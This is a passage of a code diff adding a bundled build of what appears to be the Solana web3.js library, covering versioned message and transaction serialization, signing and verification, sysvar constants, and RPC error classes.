instruction.data + }, serializedInstructions, serializedLength); + } + return serializedInstructions.slice(0, serializedLength); + } + serializeAddressTableLookups() { + let serializedLength = 0; + const serializedAddressTableLookups = new Uint8Array(PACKET_DATA_SIZE); + for (const lookup of this.addressTableLookups) { + const encodedWritableIndexesLength = Array(); + encodeLength(encodedWritableIndexesLength, lookup.writableIndexes.length); + const encodedReadonlyIndexesLength = Array(); + encodeLength(encodedReadonlyIndexesLength, lookup.readonlyIndexes.length); + const addressTableLookupLayout = BufferLayout.struct([publicKey('accountKey'), BufferLayout.blob(encodedWritableIndexesLength.length, 'encodedWritableIndexesLength'), BufferLayout.seq(BufferLayout.u8(), lookup.writableIndexes.length, 'writableIndexes'), BufferLayout.blob(encodedReadonlyIndexesLength.length, 'encodedReadonlyIndexesLength'), BufferLayout.seq(BufferLayout.u8(), lookup.readonlyIndexes.length, 'readonlyIndexes')]); + serializedLength += addressTableLookupLayout.encode({ + accountKey: lookup.accountKey.toBytes(), + encodedWritableIndexesLength: new Uint8Array(encodedWritableIndexesLength), + writableIndexes: lookup.writableIndexes, + encodedReadonlyIndexesLength: new Uint8Array(encodedReadonlyIndexesLength), + readonlyIndexes: lookup.readonlyIndexes + }, serializedAddressTableLookups, serializedLength); + } + return serializedAddressTableLookups.slice(0, serializedLength); + } + static deserialize(serializedMessage) { + let byteArray = [...serializedMessage]; + const prefix = guardedShift(byteArray); + const maskedPrefix = prefix & VERSION_PREFIX_MASK; + assert(prefix !== maskedPrefix, `Expected versioned message but received legacy message`); + const version = maskedPrefix; + assert(version === 0, `Expected versioned message with version 0 but found version ${version}`); + const header = { + numRequiredSignatures: guardedShift(byteArray), + numReadonlySignedAccounts: guardedShift(byteArray), + numReadonlyUnsignedAccounts: guardedShift(byteArray) + }; + const staticAccountKeys = []; + const staticAccountKeysLength = decodeLength(byteArray); + for (let i = 0; i < staticAccountKeysLength; i++) { + staticAccountKeys.push(new PublicKey(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH))); + } + const recentBlockhash = bs58.encode(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH)); + const instructionCount = decodeLength(byteArray); + const compiledInstructions = []; + for (let i = 0; i < instructionCount; i++) { + const programIdIndex = guardedShift(byteArray); + const accountKeyIndexesLength = decodeLength(byteArray); + const accountKeyIndexes = guardedSplice(byteArray, 0, accountKeyIndexesLength); + const dataLength = decodeLength(byteArray); + const data = new Uint8Array(guardedSplice(byteArray, 0, dataLength)); + compiledInstructions.push({ + programIdIndex, + accountKeyIndexes, + data + }); + } + const addressTableLookupsCount = decodeLength(byteArray); + const addressTableLookups = []; + for (let i = 0; i < addressTableLookupsCount; i++) { + const accountKey = new PublicKey(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH)); + const writableIndexesLength = decodeLength(byteArray); + const writableIndexes = guardedSplice(byteArray, 0, writableIndexesLength); + const readonlyIndexesLength = decodeLength(byteArray); + const readonlyIndexes = guardedSplice(byteArray, 0, readonlyIndexesLength); + addressTableLookups.push({ + accountKey, + writableIndexes, + readonlyIndexes + }); + } + return new MessageV0({ + header, + staticAccountKeys, + recentBlockhash, + compiledInstructions, + addressTableLookups + }); + } +} + +// eslint-disable-next-line no-redeclare +const VersionedMessage = { + deserializeMessageVersion(serializedMessage) { + const prefix = serializedMessage[0]; + const maskedPrefix = prefix & VERSION_PREFIX_MASK; + + // if the highest bit of the prefix is not set, the message is not versioned + if (maskedPrefix === prefix) { + return 'legacy'; + } + + // the lower 7 bits of the prefix indicate the message version + return maskedPrefix; + }, + deserialize: serializedMessage => { + const version = VersionedMessage.deserializeMessageVersion(serializedMessage); + if (version === 'legacy') { + return Message.from(serializedMessage); + } + if (version === 0) { + return MessageV0.deserialize(serializedMessage); + } else { + throw new Error(`Transaction message version ${version} deserialization is not supported`); + } + } +}; + +/** @internal */ + +/** + * Transaction signature as base-58 encoded string + */ + +let TransactionStatus = /*#__PURE__*/function (TransactionStatus) { + TransactionStatus[TransactionStatus["BLOCKHEIGHT_EXCEEDED"] = 0] = "BLOCKHEIGHT_EXCEEDED"; + TransactionStatus[TransactionStatus["PROCESSED"] = 1] = "PROCESSED"; + TransactionStatus[TransactionStatus["TIMED_OUT"] = 2] = "TIMED_OUT"; + TransactionStatus[TransactionStatus["NONCE_INVALID"] = 3] = "NONCE_INVALID"; + return TransactionStatus; +}({}); + +/** + * Default (empty) signature + */ +const DEFAULT_SIGNATURE = Buffer.alloc(SIGNATURE_LENGTH_IN_BYTES).fill(0); + +/** + * Account metadata used to define instructions + */ + +/** + * List of TransactionInstruction object fields that may be initialized at construction + */ + +/** + * Configuration object for Transaction.serialize() + */ + +/** + * @internal + */ + +/** + * Transaction Instruction class + */ +class TransactionInstruction { + constructor(opts) { + /** + * Public keys to include in this transaction + * Boolean represents whether this pubkey needs to sign the transaction + */ + this.keys = void 0; + /** + * Program Id to execute + */ + this.programId = void 0; + /** + * Program input + */ + this.data = Buffer.alloc(0); + this.programId = opts.programId; + this.keys = opts.keys; + if (opts.data) { + this.data = opts.data; + } + } + + /** + * @internal + */ + toJSON() { + return { + keys: this.keys.map(({ + pubkey, + isSigner, + isWritable + }) => ({ + pubkey: pubkey.toJSON(), + isSigner, + isWritable + })), + programId: this.programId.toJSON(), + data: [...this.data] + }; + } +} + +/** + * Pair of signature and corresponding public key + */ + +/** + * List of Transaction object fields that may be initialized at construction + */ + +// For backward compatibility; an unfortunate consequence of being +// forced to over-export types by the documentation generator. +// See https://github.com/solana-labs/solana/pull/25820 + +/** + * Blockhash-based transactions have a lifetime that are defined by + * the blockhash they include. Any transaction whose blockhash is + * too old will be rejected. + */ + +/** + * Use these options to construct a durable nonce transaction. + */ + +/** + * Nonce information to be used to build an offline Transaction. + */ + +/** + * @internal + */ + +/** + * Transaction class + */ +class Transaction { + /** + * The first (payer) Transaction signature + * + * @returns {Buffer | null} Buffer of payer's signature + */ + get signature() { + if (this.signatures.length > 0) { + return this.signatures[0].signature; + } + return null; + } + + /** + * The transaction fee payer + */ + + // Construct a transaction with a blockhash and lastValidBlockHeight + + // Construct a transaction using a durable nonce + + /** + * @deprecated `TransactionCtorFields` has been deprecated and will be removed in a future version. + * Please supply a `TransactionBlockhashCtor` instead. + */ + + /** + * Construct an empty Transaction + */ + constructor(opts) { + /** + * Signatures for the transaction. Typically created by invoking the + * `sign()` method + */ + this.signatures = []; + this.feePayer = void 0; + /** + * The instructions to atomically execute + */ + this.instructions = []; + /** + * A recent transaction id. Must be populated by the caller + */ + this.recentBlockhash = void 0; + /** + * the last block chain can advance to before tx is declared expired + * */ + this.lastValidBlockHeight = void 0; + /** + * Optional Nonce information. If populated, transaction will use a durable + * Nonce hash instead of a recentBlockhash. Must be populated by the caller + */ + this.nonceInfo = void 0; + /** + * If this is a nonce transaction this represents the minimum slot from which + * to evaluate if the nonce has advanced when attempting to confirm the + * transaction. This protects against a case where the transaction confirmation + * logic loads the nonce account from an old slot and assumes the mismatch in + * nonce value implies that the nonce has been advanced. + */ + this.minNonceContextSlot = void 0; + /** + * @internal + */ + this._message = void 0; + /** + * @internal + */ + this._json = void 0; + if (!opts) { + return; + } + if (opts.feePayer) { + this.feePayer = opts.feePayer; + } + if (opts.signatures) { + this.signatures = opts.signatures; + } + if (Object.prototype.hasOwnProperty.call(opts, 'nonceInfo')) { + const { + minContextSlot, + nonceInfo + } = opts; + this.minNonceContextSlot = minContextSlot; + this.nonceInfo = nonceInfo; + } else if (Object.prototype.hasOwnProperty.call(opts, 'lastValidBlockHeight')) { + const { + blockhash, + lastValidBlockHeight + } = opts; + this.recentBlockhash = blockhash; + this.lastValidBlockHeight = lastValidBlockHeight; + } else { + const { + recentBlockhash, + nonceInfo + } = opts; + if (nonceInfo) { + this.nonceInfo = nonceInfo; + } + this.recentBlockhash = recentBlockhash; + } + } + + /** + * @internal + */ + toJSON() { + return { + recentBlockhash: this.recentBlockhash || null, + feePayer: this.feePayer ? this.feePayer.toJSON() : null, + nonceInfo: this.nonceInfo ? { + nonce: this.nonceInfo.nonce, + nonceInstruction: this.nonceInfo.nonceInstruction.toJSON() + } : null, + instructions: this.instructions.map(instruction => instruction.toJSON()), + signers: this.signatures.map(({ + publicKey + }) => { + return publicKey.toJSON(); + }) + }; + } + + /** + * Add one or more instructions to this Transaction + * + * @param {Array< Transaction | TransactionInstruction | TransactionInstructionCtorFields >} items - Instructions to add to the Transaction + */ + add(...items) { + if (items.length === 0) { + throw new Error('No instructions'); + } + items.forEach(item => { + if ('instructions' in item) { + this.instructions = this.instructions.concat(item.instructions); + } else if ('data' in item && 'programId' in item && 'keys' in item) { + this.instructions.push(item); + } else { + this.instructions.push(new TransactionInstruction(item)); + } + }); + return this; + } + + /** + * Compile transaction data + */ + compileMessage() { + if (this._message && JSON.stringify(this.toJSON()) === JSON.stringify(this._json)) { + return this._message; + } + let recentBlockhash; + let instructions; + if (this.nonceInfo) { + recentBlockhash = this.nonceInfo.nonce; + if (this.instructions[0] != this.nonceInfo.nonceInstruction) { + instructions = [this.nonceInfo.nonceInstruction, ...this.instructions]; + } else { + instructions = this.instructions; + } + } else { + recentBlockhash = this.recentBlockhash; + instructions = this.instructions; + } + if (!recentBlockhash) { + throw new Error('Transaction recentBlockhash required'); + } + if (instructions.length < 1) { + console.warn('No instructions provided'); + } + let feePayer; + if (this.feePayer) { + feePayer = this.feePayer; + } else if (this.signatures.length > 0 && this.signatures[0].publicKey) { + // Use implicit fee payer + feePayer = this.signatures[0].publicKey; + } else { + throw new Error('Transaction fee payer required'); + } + for (let i = 0; i < instructions.length; i++) { + if (instructions[i].programId === undefined) { + throw new Error(`Transaction instruction index ${i} has undefined program id`); + } + } + const programIds = []; + const accountMetas = []; + instructions.forEach(instruction => { + instruction.keys.forEach(accountMeta => { + accountMetas.push({ + ...accountMeta + }); + }); + const programId = instruction.programId.toString(); + if (!programIds.includes(programId)) { + programIds.push(programId); + } + }); + + // Append programID account metas + programIds.forEach(programId => { + accountMetas.push({ + pubkey: new PublicKey(programId), + isSigner: false, + isWritable: false + }); + }); + + // Cull duplicate account metas + const uniqueMetas = []; + accountMetas.forEach(accountMeta => { + const pubkeyString = accountMeta.pubkey.toString(); + const uniqueIndex = uniqueMetas.findIndex(x => { + return x.pubkey.toString() === pubkeyString; + }); + if (uniqueIndex > -1) { + uniqueMetas[uniqueIndex].isWritable = uniqueMetas[uniqueIndex].isWritable || accountMeta.isWritable; + uniqueMetas[uniqueIndex].isSigner = uniqueMetas[uniqueIndex].isSigner || accountMeta.isSigner; + } else { + uniqueMetas.push(accountMeta); + } + }); + + // Sort. Prioritizing first by signer, then by writable + uniqueMetas.sort(function (x, y) { + if (x.isSigner !== y.isSigner) { + // Signers always come before non-signers + return x.isSigner ? -1 : 1; + } + if (x.isWritable !== y.isWritable) { + // Writable accounts always come before read-only accounts + return x.isWritable ? -1 : 1; + } + // Otherwise, sort by pubkey, stringwise. + const options = { + localeMatcher: 'best fit', + usage: 'sort', + sensitivity: 'variant', + ignorePunctuation: false, + numeric: false, + caseFirst: 'lower' + }; + return x.pubkey.toBase58().localeCompare(y.pubkey.toBase58(), 'en', options); + }); + + // Move fee payer to the front + const feePayerIndex = uniqueMetas.findIndex(x => { + return x.pubkey.equals(feePayer); + }); + if (feePayerIndex > -1) { + const [payerMeta] = uniqueMetas.splice(feePayerIndex, 1); + payerMeta.isSigner = true; + payerMeta.isWritable = true; + uniqueMetas.unshift(payerMeta); + } else { + uniqueMetas.unshift({ + pubkey: feePayer, + isSigner: true, + isWritable: true + }); + } + + // Disallow unknown signers + for (const signature of this.signatures) { + const uniqueIndex = uniqueMetas.findIndex(x => { + return x.pubkey.equals(signature.publicKey); + }); + if (uniqueIndex > -1) { + if (!uniqueMetas[uniqueIndex].isSigner) { + uniqueMetas[uniqueIndex].isSigner = true; + console.warn('Transaction references a signature that is unnecessary, ' + 'only the fee payer and instruction signer accounts should sign a transaction. ' + 'This behavior is deprecated and will throw an error in the next major version release.'); + } + } else { + throw new Error(`unknown signer: ${signature.publicKey.toString()}`); + } + } + let numRequiredSignatures = 0; + let numReadonlySignedAccounts = 0; + let numReadonlyUnsignedAccounts = 0; + + // Split out signing from non-signing keys and count header values + const signedKeys = []; + const unsignedKeys = []; + uniqueMetas.forEach(({ + pubkey, + isSigner, + isWritable + }) => { + if (isSigner) { + signedKeys.push(pubkey.toString()); + numRequiredSignatures += 1; + if (!isWritable) { + numReadonlySignedAccounts += 1; + } + } else { + unsignedKeys.push(pubkey.toString()); + if (!isWritable) { + numReadonlyUnsignedAccounts += 1; + } + } + }); + const accountKeys = signedKeys.concat(unsignedKeys); + const compiledInstructions = instructions.map(instruction => { + const { + data, + programId + } = instruction; + return { + programIdIndex: accountKeys.indexOf(programId.toString()), + accounts: instruction.keys.map(meta => accountKeys.indexOf(meta.pubkey.toString())), + data: bs58.encode(data) + }; + }); + compiledInstructions.forEach(instruction => { + assert(instruction.programIdIndex >= 0); + instruction.accounts.forEach(keyIndex => assert(keyIndex >= 0)); + }); + return new Message({ + header: { + numRequiredSignatures, + numReadonlySignedAccounts, + numReadonlyUnsignedAccounts + }, + accountKeys, + recentBlockhash, + instructions: compiledInstructions + }); + } + + /** + * @internal + */ + _compile() { + const message = this.compileMessage(); + const signedKeys = message.accountKeys.slice(0, message.header.numRequiredSignatures); + if (this.signatures.length === signedKeys.length) { + const valid = this.signatures.every((pair, index) => { + return signedKeys[index].equals(pair.publicKey); + }); + if (valid) return message; + } + this.signatures = signedKeys.map(publicKey => ({ + signature: null, + publicKey + })); + return message; + } + + /** + * Get a buffer of the Transaction data that need to be covered by signatures + */ + serializeMessage() { + return this._compile().serialize(); + } + + /** + * Get the estimated fee associated with a transaction + * + * @param {Connection} connection Connection to RPC Endpoint. + * + * @returns {Promise} The estimated fee for the transaction + */ + async getEstimatedFee(connection) { + return (await connection.getFeeForMessage(this.compileMessage())).value; + } + + /** + * Specify the public keys which will be used to sign the Transaction. + * The first signer will be used as the transaction fee payer account. + * + * Signatures can be added with either `partialSign` or `addSignature` + * + * @deprecated Deprecated since v0.84.0. Only the fee payer needs to be + * specified and it can be set in the Transaction constructor or with the + * `feePayer` property. + */ + setSigners(...signers) { + if (signers.length === 0) { + throw new Error('No signers'); + } + const seen = new Set(); + this.signatures = signers.filter(publicKey => { + const key = publicKey.toString(); + if (seen.has(key)) { + return false; + } else { + seen.add(key); + return true; + } + }).map(publicKey => ({ + signature: null, + publicKey + })); + } + + /** + * Sign the Transaction with the specified signers. Multiple signatures may + * be applied to a Transaction. The first signature is considered "primary" + * and is used identify and confirm transactions. + * + * If the Transaction `feePayer` is not set, the first signer will be used + * as the transaction fee payer account. + * + * Transaction fields should not be modified after the first call to `sign`, + * as doing so may invalidate the signature and cause the Transaction to be + * rejected. + * + * The Transaction must be assigned a valid `recentBlockhash` before invoking this method + * + * @param {Array} signers Array of signers that will sign the transaction + */ + sign(...signers) { + if (signers.length === 0) { + throw new Error('No signers'); + } + + // Dedupe signers + const seen = new Set(); + const uniqueSigners = []; + for (const signer of signers) { + const key = signer.publicKey.toString(); + if (seen.has(key)) { + continue; + } else { + seen.add(key); + uniqueSigners.push(signer); + } + } + this.signatures = uniqueSigners.map(signer => ({ + signature: null, + publicKey: signer.publicKey + })); + const message = this._compile(); + this._partialSign(message, ...uniqueSigners); + } + + /** + * Partially sign a transaction with the specified accounts. All accounts must + * correspond to either the fee payer or a signer account in the transaction + * instructions. + * + * All the caveats from the `sign` method apply to `partialSign` + * + * @param {Array} signers Array of signers that will sign the transaction + */ + partialSign(...signers) { + if (signers.length === 0) { + throw new Error('No signers'); + } + + // Dedupe signers + const seen = new Set(); + const uniqueSigners = []; + for (const signer of signers) { + const key = signer.publicKey.toString(); + if (seen.has(key)) { + continue; + } else { + seen.add(key); + uniqueSigners.push(signer); + } + } + const message = this._compile(); + this._partialSign(message, ...uniqueSigners); + } + + /** + * @internal + */ + _partialSign(message, ...signers) { + const signData = message.serialize(); + signers.forEach(signer => { + const signature = sign(signData, signer.secretKey); + this._addSignature(signer.publicKey, toBuffer(signature)); + }); + } + + /** + * Add an externally created signature to a transaction. The public key + * must correspond to either the fee payer or a signer account in the transaction + * instructions. + * + * @param {PublicKey} pubkey Public key that will be added to the transaction. + * @param {Buffer} signature An externally created signature to add to the transaction. + */ + addSignature(pubkey, signature) { + this._compile(); // Ensure signatures array is populated + this._addSignature(pubkey, signature); + } + + /** + * @internal + */ + _addSignature(pubkey, signature) { + assert(signature.length === 64); + const index = this.signatures.findIndex(sigpair => pubkey.equals(sigpair.publicKey)); + if (index < 0) { + throw new Error(`unknown signer: ${pubkey.toString()}`); + } + this.signatures[index].signature = Buffer.from(signature); + } + + /** + * Verify signatures of a Transaction + * Optional parameter specifies if we're expecting a fully signed Transaction or a partially signed one. + * If no boolean is provided, we expect a fully signed Transaction by default. + * + * @param {boolean} [requireAllSignatures=true] Require a fully signed Transaction + */ + verifySignatures(requireAllSignatures = true) { + const signatureErrors = this._getMessageSignednessErrors(this.serializeMessage(), requireAllSignatures); + return !signatureErrors; + } + + /** + * @internal + */ + _getMessageSignednessErrors(message, requireAllSignatures) { + const errors = {}; + for (const { + signature, + publicKey + } of this.signatures) { + if (signature === null) { + if (requireAllSignatures) { + (errors.missing ||= []).push(publicKey); + } + } else { + if (!verify(signature, message, publicKey.toBytes())) { + (errors.invalid ||= []).push(publicKey); + } + } + } + return errors.invalid || errors.missing ? errors : undefined; + } + + /** + * Serialize the Transaction in the wire format. + * + * @param {Buffer} [config] Config of transaction. + * + * @returns {Buffer} Signature of transaction in wire format. + */ + serialize(config) { + const { + requireAllSignatures, + verifySignatures + } = Object.assign({ + requireAllSignatures: true, + verifySignatures: true + }, config); + const signData = this.serializeMessage(); + if (verifySignatures) { + const sigErrors = this._getMessageSignednessErrors(signData, requireAllSignatures); + if (sigErrors) { + let errorMessage = 'Signature verification failed.'; + if (sigErrors.invalid) { + errorMessage += `\nInvalid signature for public key${sigErrors.invalid.length === 1 ? '' : '(s)'} [\`${sigErrors.invalid.map(p => p.toBase58()).join('`, `')}\`].`; + } + if (sigErrors.missing) { + errorMessage += `\nMissing signature for public key${sigErrors.missing.length === 1 ? '' : '(s)'} [\`${sigErrors.missing.map(p => p.toBase58()).join('`, `')}\`].`; + } + throw new Error(errorMessage); + } + } + return this._serialize(signData); + } + + /** + * @internal + */ + _serialize(signData) { + const { + signatures + } = this; + const signatureCount = []; + encodeLength(signatureCount, signatures.length); + const transactionLength = signatureCount.length + signatures.length * 64 + signData.length; + const wireTransaction = Buffer.alloc(transactionLength); + assert(signatures.length < 256); + Buffer.from(signatureCount).copy(wireTransaction, 0); + signatures.forEach(({ + signature + }, index) => { + if (signature !== null) { + assert(signature.length === 64, `signature has invalid length`); + Buffer.from(signature).copy(wireTransaction, signatureCount.length + index * 64); + } + }); + signData.copy(wireTransaction, signatureCount.length + signatures.length * 64); + assert(wireTransaction.length <= PACKET_DATA_SIZE, `Transaction too large: ${wireTransaction.length} > ${PACKET_DATA_SIZE}`); + return wireTransaction; + } + + /** + * Deprecated method + * @internal + */ + get keys() { + assert(this.instructions.length === 1); + return this.instructions[0].keys.map(keyObj => keyObj.pubkey); + } + + /** + * Deprecated method + * @internal + */ + get programId() { + assert(this.instructions.length === 1); + return this.instructions[0].programId; + } + + /** + * Deprecated method + * @internal + */ + get data() { + assert(this.instructions.length === 1); + return this.instructions[0].data; + } + + /** + * Parse a wire transaction into a Transaction object. + * + * @param {Buffer | Uint8Array | Array} buffer Signature of wire Transaction + * + * @returns {Transaction} Transaction associated with the signature + */ + static from(buffer) { + // Slice up wire data + let byteArray = [...buffer]; + const signatureCount = decodeLength(byteArray); + let signatures = []; + for (let i = 0; i < signatureCount; i++) { + const signature = guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES); + signatures.push(bs58.encode(Buffer.from(signature))); + } + return Transaction.populate(Message.from(byteArray), signatures); + } + + /** + * Populate Transaction object from message and signatures + * + * @param {Message} message Message of transaction + * @param {Array} signatures List of signatures to assign to the transaction + * + * @returns {Transaction} The populated Transaction + */ + static populate(message, signatures = []) { + const transaction = new Transaction(); + transaction.recentBlockhash = message.recentBlockhash; + if (message.header.numRequiredSignatures > 0) { + transaction.feePayer = message.accountKeys[0]; + } + signatures.forEach((signature, index) => { + const sigPubkeyPair = { + signature: signature == bs58.encode(DEFAULT_SIGNATURE) ? null : bs58.decode(signature), + publicKey: message.accountKeys[index] + }; + transaction.signatures.push(sigPubkeyPair); + }); + message.instructions.forEach(instruction => { + const keys = instruction.accounts.map(account => { + const pubkey = message.accountKeys[account]; + return { + pubkey, + isSigner: transaction.signatures.some(keyObj => keyObj.publicKey.toString() === pubkey.toString()) || message.isAccountSigner(account), + isWritable: message.isAccountWritable(account) + }; + }); + transaction.instructions.push(new TransactionInstruction({ + keys, + programId: message.accountKeys[instruction.programIdIndex], + data: bs58.decode(instruction.data) + })); + }); + transaction._message = message; + transaction._json = transaction.toJSON(); + return transaction; + } +} + +class TransactionMessage { + constructor(args) { + this.payerKey = void 0; + this.instructions = void 0; + this.recentBlockhash = void 0; + this.payerKey = args.payerKey; + this.instructions = args.instructions; + this.recentBlockhash = args.recentBlockhash; + } + static decompile(message, args) { + const { + header, + compiledInstructions, + recentBlockhash + } = message; + const { + numRequiredSignatures, + numReadonlySignedAccounts, + numReadonlyUnsignedAccounts + } = header; + const numWritableSignedAccounts = numRequiredSignatures - numReadonlySignedAccounts; + assert(numWritableSignedAccounts > 0, 'Message header is invalid'); + const numWritableUnsignedAccounts = message.staticAccountKeys.length - numRequiredSignatures - numReadonlyUnsignedAccounts; + assert(numWritableUnsignedAccounts >= 0, 'Message header is invalid'); + const accountKeys = message.getAccountKeys(args); + const payerKey = accountKeys.get(0); + if (payerKey === undefined) { + throw new Error('Failed to decompile message because no account keys were found'); + } + const instructions = []; + for (const compiledIx of compiledInstructions) { + const keys = []; + for (const keyIndex of compiledIx.accountKeyIndexes) { + const pubkey = accountKeys.get(keyIndex); + if (pubkey === undefined) { + throw new Error(`Failed to find key for account key index ${keyIndex}`); + } + const isSigner = keyIndex < numRequiredSignatures; + let isWritable; + if (isSigner) { + isWritable = keyIndex < numWritableSignedAccounts; + } else if (keyIndex < accountKeys.staticAccountKeys.length) { + isWritable = keyIndex - numRequiredSignatures < numWritableUnsignedAccounts; + } else { + isWritable = keyIndex - accountKeys.staticAccountKeys.length < + // accountKeysFromLookups cannot be undefined because we already found a pubkey for this index above + accountKeys.accountKeysFromLookups.writable.length; + } + keys.push({ + pubkey, + isSigner: keyIndex < header.numRequiredSignatures, + isWritable + }); + } + const programId = accountKeys.get(compiledIx.programIdIndex); + if (programId === undefined) { + throw new Error(`Failed to find program id for program id index ${compiledIx.programIdIndex}`); + } + instructions.push(new TransactionInstruction({ + programId, + data: toBuffer(compiledIx.data), + keys + })); + } + return new TransactionMessage({ + payerKey, + instructions, + recentBlockhash + }); + } + compileToLegacyMessage() { + return Message.compile({ + payerKey: this.payerKey, + recentBlockhash: this.recentBlockhash, + instructions: this.instructions + }); + } + compileToV0Message(addressLookupTableAccounts) { + return MessageV0.compile({ + payerKey: this.payerKey, + recentBlockhash: this.recentBlockhash, + instructions: this.instructions, + addressLookupTableAccounts + }); + } +} + +/** + * Versioned transaction class + */ +class VersionedTransaction { + get version() { + return this.message.version; + } + constructor(message, signatures) { + this.signatures = void 0; + this.message = void 0; + if (signatures !== undefined) { + assert(signatures.length === message.header.numRequiredSignatures, 'Expected signatures length to be equal to the number of required signatures'); + this.signatures = signatures; + } else { + const defaultSignatures = []; + for (let i = 0; i < message.header.numRequiredSignatures; i++) { + defaultSignatures.push(new Uint8Array(SIGNATURE_LENGTH_IN_BYTES)); + } + this.signatures = defaultSignatures; + } + this.message = message; + } + serialize() { + const serializedMessage = this.message.serialize(); + const encodedSignaturesLength = Array(); + encodeLength(encodedSignaturesLength, this.signatures.length); + const transactionLayout = BufferLayout.struct([BufferLayout.blob(encodedSignaturesLength.length, 'encodedSignaturesLength'), BufferLayout.seq(signature(), this.signatures.length, 'signatures'), BufferLayout.blob(serializedMessage.length, 'serializedMessage')]); + const serializedTransaction = new Uint8Array(2048); + const serializedTransactionLength = transactionLayout.encode({ + encodedSignaturesLength: new Uint8Array(encodedSignaturesLength), + signatures: this.signatures, + serializedMessage + }, serializedTransaction); + return serializedTransaction.slice(0, serializedTransactionLength); + } + static deserialize(serializedTransaction) { + let byteArray = [...serializedTransaction]; + const signatures = []; + const signaturesLength = decodeLength(byteArray); + for (let i = 0; i < signaturesLength; i++) { + signatures.push(new Uint8Array(guardedSplice(byteArray, 0, SIGNATURE_LENGTH_IN_BYTES))); + } + const message = VersionedMessage.deserialize(new Uint8Array(byteArray)); + return new VersionedTransaction(message, signatures); + } + sign(signers) { + const messageData = this.message.serialize(); + const signerPubkeys = this.message.staticAccountKeys.slice(0, this.message.header.numRequiredSignatures); + for (const signer of signers) { + const signerIndex = signerPubkeys.findIndex(pubkey => pubkey.equals(signer.publicKey)); + assert(signerIndex >= 0, `Cannot sign with non signer key ${signer.publicKey.toBase58()}`); + this.signatures[signerIndex] = sign(messageData, signer.secretKey); + } + } + addSignature(publicKey, signature) { + assert(signature.byteLength === 64, 'Signature must be 64 bytes long'); + const signerPubkeys = this.message.staticAccountKeys.slice(0, this.message.header.numRequiredSignatures); + const signerIndex = signerPubkeys.findIndex(pubkey => pubkey.equals(publicKey)); + assert(signerIndex >= 0, `Can not add signature; \`${publicKey.toBase58()}\` is not required to sign this transaction`); + this.signatures[signerIndex] = signature; + } +} + +// TODO: These constants should be removed in favor of reading them out of a +// Syscall account + +/** + * @internal + */ +const NUM_TICKS_PER_SECOND = 160; + +/** + * @internal + */ +const DEFAULT_TICKS_PER_SLOT = 64; + +/** + * @internal + */ +const NUM_SLOTS_PER_SECOND = NUM_TICKS_PER_SECOND / DEFAULT_TICKS_PER_SLOT; + +/** + * @internal + */ +const MS_PER_SLOT = 1000 / NUM_SLOTS_PER_SECOND; + +const SYSVAR_CLOCK_PUBKEY = new PublicKey('SysvarC1ock11111111111111111111111111111111'); +const SYSVAR_EPOCH_SCHEDULE_PUBKEY = new PublicKey('SysvarEpochSchedu1e111111111111111111111111'); +const SYSVAR_INSTRUCTIONS_PUBKEY = new PublicKey('Sysvar1nstructions1111111111111111111111111'); +const SYSVAR_RECENT_BLOCKHASHES_PUBKEY = new PublicKey('SysvarRecentB1ockHashes11111111111111111111'); +const SYSVAR_RENT_PUBKEY = new PublicKey('SysvarRent111111111111111111111111111111111'); +const SYSVAR_REWARDS_PUBKEY = new PublicKey('SysvarRewards111111111111111111111111111111'); +const SYSVAR_SLOT_HASHES_PUBKEY = new PublicKey('SysvarS1otHashes111111111111111111111111111'); +const SYSVAR_SLOT_HISTORY_PUBKEY = new PublicKey('SysvarS1otHistory11111111111111111111111111'); +const SYSVAR_STAKE_HISTORY_PUBKEY = new PublicKey('SysvarStakeHistory1111111111111111111111111'); + +class SendTransactionError extends Error { + constructor({ + action, + signature, + transactionMessage, + logs + }) { + const maybeLogsOutput = logs ? `Logs: \n${JSON.stringify(logs.slice(-10), null, 2)}. ` : ''; + const guideText = '\nCatch the `SendTransactionError` and call `getLogs()` on it for full details.'; + let message; + switch (action) { + case 'send': + message = `Transaction ${signature} resulted in an error. \n` + `${transactionMessage}. ` + maybeLogsOutput + guideText; + break; + case 'simulate': + message = `Simulation failed. \nMessage: ${transactionMessage}. \n` + maybeLogsOutput + guideText; + break; + default: + { + message = `Unknown action '${(a => a)(action)}'`; + } + } + super(message); + this.signature = void 0; + this.transactionMessage = void 0; + this.transactionLogs = void 0; + this.signature = signature; + this.transactionMessage = transactionMessage; + this.transactionLogs = logs ? logs : undefined; + } + get transactionError() { + return { + message: this.transactionMessage, + logs: Array.isArray(this.transactionLogs) ? this.transactionLogs : undefined + }; + } + + /* @deprecated Use `await getLogs()` instead */ + get logs() { + const cachedLogs = this.transactionLogs; + if (cachedLogs != null && typeof cachedLogs === 'object' && 'then' in cachedLogs) { + return undefined; + } + return cachedLogs; + } + async getLogs(connection) { + if (!Array.isArray(this.transactionLogs)) { + this.transactionLogs = new Promise((resolve, reject) => { + connection.getTransaction(this.signature).then(tx => { + if (tx && tx.meta && tx.meta.logMessages) { + const logs = tx.meta.logMessages; + this.transactionLogs = logs; + resolve(logs); + } else { + reject(new Error('Log messages not found')); + } + }).catch(reject); + }); + } + return await this.transactionLogs; + } +} + +// Keep in sync with client/src/rpc_custom_errors.rs +// Typescript `enums` thwart tree-shaking. See https://bargsten.org/jsts/enums/ +const SolanaJSONRPCErrorCode = { + JSON_RPC_SERVER_ERROR_BLOCK_CLEANED_UP: -32001, + JSON_RPC_SERVER_ERROR_SEND_TRANSACTION_PREFLIGHT_FAILURE: -32002, + JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_VERIFICATION_FAILURE: -32003, + JSON_RPC_SERVER_ERROR_BLOCK_NOT_AVAILABLE: -32004, + JSON_RPC_SERVER_ERROR_NODE_UNHEALTHY: -32005, + JSON_RPC_SERVER_ERROR_TRANSACTION_PRECOMPILE_VERIFICATION_FAILURE: -32006, + JSON_RPC_SERVER_ERROR_SLOT_SKIPPED: -32007, + JSON_RPC_SERVER_ERROR_NO_SNAPSHOT: -32008, + JSON_RPC_SERVER_ERROR_LONG_TERM_STORAGE_SLOT_SKIPPED: -32009, + JSON_RPC_SERVER_ERROR_KEY_EXCLUDED_FROM_SECONDARY_INDEX: -32010, + JSON_RPC_SERVER_ERROR_TRANSACTION_HISTORY_NOT_AVAILABLE: -32011, + JSON_RPC_SCAN_ERROR: -32012, + JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_LEN_MISMATCH: -32013, + 